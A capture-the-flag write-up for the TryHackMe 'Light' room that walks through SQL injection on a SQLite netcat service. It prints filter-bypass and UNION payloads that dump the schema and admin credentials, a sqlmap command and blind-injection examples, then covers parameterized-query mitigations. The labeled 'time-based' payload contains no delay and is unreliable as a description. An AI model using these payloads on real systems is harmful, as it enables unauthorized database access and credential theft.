Understanding SQL Injection in CTF TryHackMe Light
SQL injection is a critical web vulnerability that allows attackers to interfere with database queries, potentially exposing or manipulating sensitive data. This TryHackMe challenge provides hands-on experience with identifying and exploiting SQL injection flaws in a lightweight SQLite-based application, teaching real-world attack techniques and defensive strategies.
Key Points
- SQL Injection (SQLi) enables attackers to insert malicious SQL statements into input fields to manipulate database queries
- SQLite is a self-contained, serverless database engine commonly used in embedded systems and CTF challenges
- Payload crafting involves testing and refining input strings to bypass security filters and extract data
- Database enumeration extracts schema information, table structures, and sensitive data through carefully constructed queries
- Proper mitigation requires prepared statements, input validation, and least privilege principles
Getting Started
Connecting to the Application
The challenge provides a network service accessible via netcat. Establish a connection using:
nc xx.xx.xxx.xx 1337
Note: Replace
xx.xx.xxx.xxwith the actual IP address provided in the TryHackMe room.
Use the default username smokey to initiate interaction with the application.
Identifying SQL Injection Vulnerabilities
Initial Testing
Test for basic SQL injection by submitting a single quote ('):
nc xx.xx.xxx.xx 1337
# Input: '
Expected Error:
Error: unrecognized token: "''' LIMIT 30"
This error confirms the application is vulnerable to SQL injection, as your input is being interpreted as part of the SQL query rather than treated as data.
Understanding the Vulnerability
When the application displays this error, it reveals:
- The input is directly concatenated into a SQL query
- The query includes a
LIMIT 30clause - No input sanitization or parameterization is in place
Bypassing Input Filters
Testing Common Payloads
Many applications implement basic keyword filtering. Test these payloads to identify restrictions:
| Payload | Expected Response | Filter Status |
|---|---|---|
smokey' OR '1'='1' -- | "Input not allowed" | Blocked |
UNION | "Username not found" | Partially blocked |
SELECT | "Input not allowed" | Blocked |
Case-Sensitive Bypass Technique
Many poorly implemented filters only check for lowercase keywords. Test capitalized variations:
nc xx.xx.xxx.xx 1337
# Input: Union
Response:
Username not found.
This response differs from "Input not allowed," suggesting the filter is case-sensitive. Experiment with mixed-case payloads like
uNiOnorUnIoNto bypass restrictions.
Exploiting the Vulnerability
Enumerating Database Information
Checking the Database Version
Confirm the database type and version:
smokey' Union Select sqlite_version() --
Output:
3.31.1
This verifies the application uses SQLite 3.31.1, which helps you understand available functions and syntax.
Extracting the Database Schema
SQLite stores metadata in the sqlite_master table. Retrieve all table structures:
smokey' Union Select sql FROM sqlite_master --
Output:
CREATE TABLE admintable (
id INTEGER PRIMARY KEY,
username TEXT,
password INTEGER
)
Key Insights:
- The
admintablecontains user credentials - Usernames are stored as
TEXT - Passwords are stored as
INTEGER, which may indicate a numeric hash or encoding scheme
Extracting Sensitive Data
Retrieving Usernames
List all usernames in the admintable:
smokey' Union Select username FROM admintable --
Output:
TryHackMeAdmin
Retrieving Passwords
Extract the password for the discovered user:
smokey' Union Select password FROM admintable WHERE username='TryHackMeAdmin' --
Output:
vYQ5ngPpw8AdUmL
Warning: This password appears to be a hashed or encoded value. Depending on the challenge requirements, you may need to crack this hash or use it directly as the flag.
Advanced Techniques
Automating Exploitation with sqlmap
For complex scenarios, automate SQL injection attacks using sqlmap:
sqlmap -u "http://xx.xx.xxx.xx:1337" --data="username=smokey" --dbs
Common sqlmap Options:
--dbs: Enumerate databases--tables: List tables in a database--dump: Extract all data from tables--batch: Run in non-interactive mode
Important: Always ensure you have explicit permission to test the target system. Unauthorized testing is illegal.
Blind SQL Injection
If the application suppresses error messages, use boolean-based or time-based blind SQL injection:
Boolean-based example:
smokey' AND (SELECT COUNT(*) FROM admintable) > 0 --
Time-based example:
smokey' AND (SELECT CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sqlite_master) ELSE 0 END) --
These techniques infer data based on application behavior rather than direct output.
Mitigation Strategies
Protect applications from SQL injection by implementing these security controls:
| Technique | Description | Effectiveness |
|---|---|---|
| Prepared Statements | Use parameterized queries to separate SQL code from data | High |
| Input Validation | Restrict input to expected formats (e.g., alphanumeric usernames) | Medium |
| Least Privilege | Limit database user permissions to only necessary operations | Medium |
| Web Application Firewall (WAF) | Deploy a WAF to filter malicious SQLi payloads | Medium |
| Regular Audits | Conduct security testing to identify vulnerabilities | High |
Prepared Statement Example
Vulnerable Code (Python):
cursor.execute("SELECT * FROM admintable WHERE username = '" + user_input + "'")
Secure Code (Python):
cursor.execute("SELECT * FROM admintable WHERE username = ?", (user_input,))
The parameterized query treats all input as data, preventing SQL code injection.
Input Validation Best Practices
- Use allowlists rather than denylists (specify what is allowed, not what is blocked)
- Validate data type, length, format, and range
- Reject invalid input rather than attempting to sanitize it
- Apply validation on the server side, not just client side
Learn More
TryHackMe Rooms
- SQL Injection - Comprehensive SQLi fundamentals
- OWASP Top 10 - Common web application vulnerabilities
- Web Fundamentals - Understanding web application architecture
Essential Tools
- sqlmap - Automated SQL injection and database takeover tool
- Burp Suite - Web application security testing platform
- OWASP ZAP - Open-source web application security scanner
Documentation and Resources
- OWASP SQL Injection Prevention Cheat Sheet
- SQLite Documentation
- [PortSwigger SQL Injection Guide](https://portswigger.net/web-